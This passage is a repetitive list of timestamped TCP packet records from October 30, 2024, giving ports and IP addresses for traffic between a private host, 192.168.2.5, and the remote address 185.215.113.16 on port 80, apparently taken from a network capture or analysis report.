Oct 30, 2024 21:56:14.689366102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.689389944 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.689407110 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.689506054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.689553976 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690304041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690324068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690335989 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690346956 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690356016 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690357924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690368891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690380096 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690380096 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690390110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690399885 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690411091 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690411091 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690423012 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690434933 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690439939 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690452099 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690454006 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690464020 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690474033 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690480947 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690485954 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690504074 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690515041 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690515995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690527916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690540075 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690547943 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690551996 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690562963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690565109 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690574884 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690587044 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690598011 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690598011 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690609932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.690633059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.690651894 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.693648100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.693659067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.693670034 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.693701029 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.693727016 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.693983078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.693994999 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694005966 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694036961 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694062948 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694087029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694107056 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694118977 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694129944 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694143057 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694165945 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694184065 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694195986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694206953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694217920 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694228888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694231987 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694267035 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694834948 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694848061 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694859982 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694886923 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694901943 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694917917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694931030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694947958 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694960117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.694962025 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.694988966 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695044994 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695056915 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695072889 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695085049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695096016 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695101976 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695106030 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695115089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695126057 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695141077 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695146084 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695157051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695167065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695167065 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695178032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.695185900 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695207119 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.695233107 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.718853951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718871117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718897104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718909025 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718921900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718926907 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.718933105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718951941 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718957901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.718961954 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718972921 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.718995094 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719005108 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719017029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719028950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719168901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719168901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719168901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719168901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719168901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719227076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719259977 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719269991 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719274044 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719302893 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719321966 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719357967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719369888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719379902 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.719408035 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.719433069 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.723109961 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.723130941 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.723140955 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.723162889 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.723165989 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.723182917 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.723208904 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724358082 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724370003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724385023 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724399090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724409103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724415064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724435091 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724436998 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724452019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724456072 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724464893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724476099 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724482059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724504948 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724530935 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724555016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724598885 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724674940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724685907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724698067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724709034 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724720001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724724054 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724730968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724741936 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724751949 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724755049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724766016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724771976 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724778891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.724792004 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724807978 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.724836111 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760174990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760188103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760199070 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760253906 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760273933 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760276079 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760286093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760363102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760472059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760472059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760503054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760524035 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760535002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760552883 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760576963 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760678053 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760715961 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760727882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760727882 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760739088 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760751963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760762930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.760766029 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760797024 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.760812044 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805181026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805193901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805205107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805223942 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805239916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805253029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805265903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805274963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805383921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805383921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805425882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805475950 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805490017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805536032 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805670977 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805692911 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805711031 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805728912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805735111 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805742979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805752039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.805762053 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.805794954 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.809587955 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809601068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809607029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809658051 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.809832096 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809883118 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.809928894 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809942007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809962988 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809974909 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809978962 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.809987068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.809998989 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810005903 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810018063 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810031891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810038090 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810045004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810064077 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810066938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810084105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810096979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810096979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810108900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810122967 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810144901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810170889 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810461998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810473919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810487032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810498953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810511112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810522079 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810523033 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810535908 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810545921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810548067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810560942 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810565948 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810591936 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810620070 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810807943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810825109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810837984 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810847044 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810858965 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810859919 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810870886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810882092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.810884953 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810910940 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810931921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.810950994 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.811003923 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.813661098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.813708067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.813710928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.813719988 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.813752890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.813752890 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.813766003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.813766956 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.813791990 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.813806057 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814431906 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814481974 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814515114 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814532995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814546108 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814557076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814558029 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814569950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814579964 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814583063 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814594030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814599991 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814630985 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814877033 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814898014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.814924955 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.814955950 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815032005 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815045118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815057993 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815068960 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815078974 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815082073 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815092087 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815104008 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815109015 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815116882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815129995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815129995 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815150023 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815174103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815229893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815277100 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815309048 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815326929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815339088 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815352917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815359116 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815365076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815376997 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815378904 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815387964 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.815407038 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.815428019 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838483095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838568926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838579893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838596106 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838598013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838609934 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838620901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838633060 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838644981 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838653088 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838690042 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838721991 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838735104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838747978 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838772058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838771105 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838788986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838807106 CET	50196	80	192.168.2.5	185.215.113.16
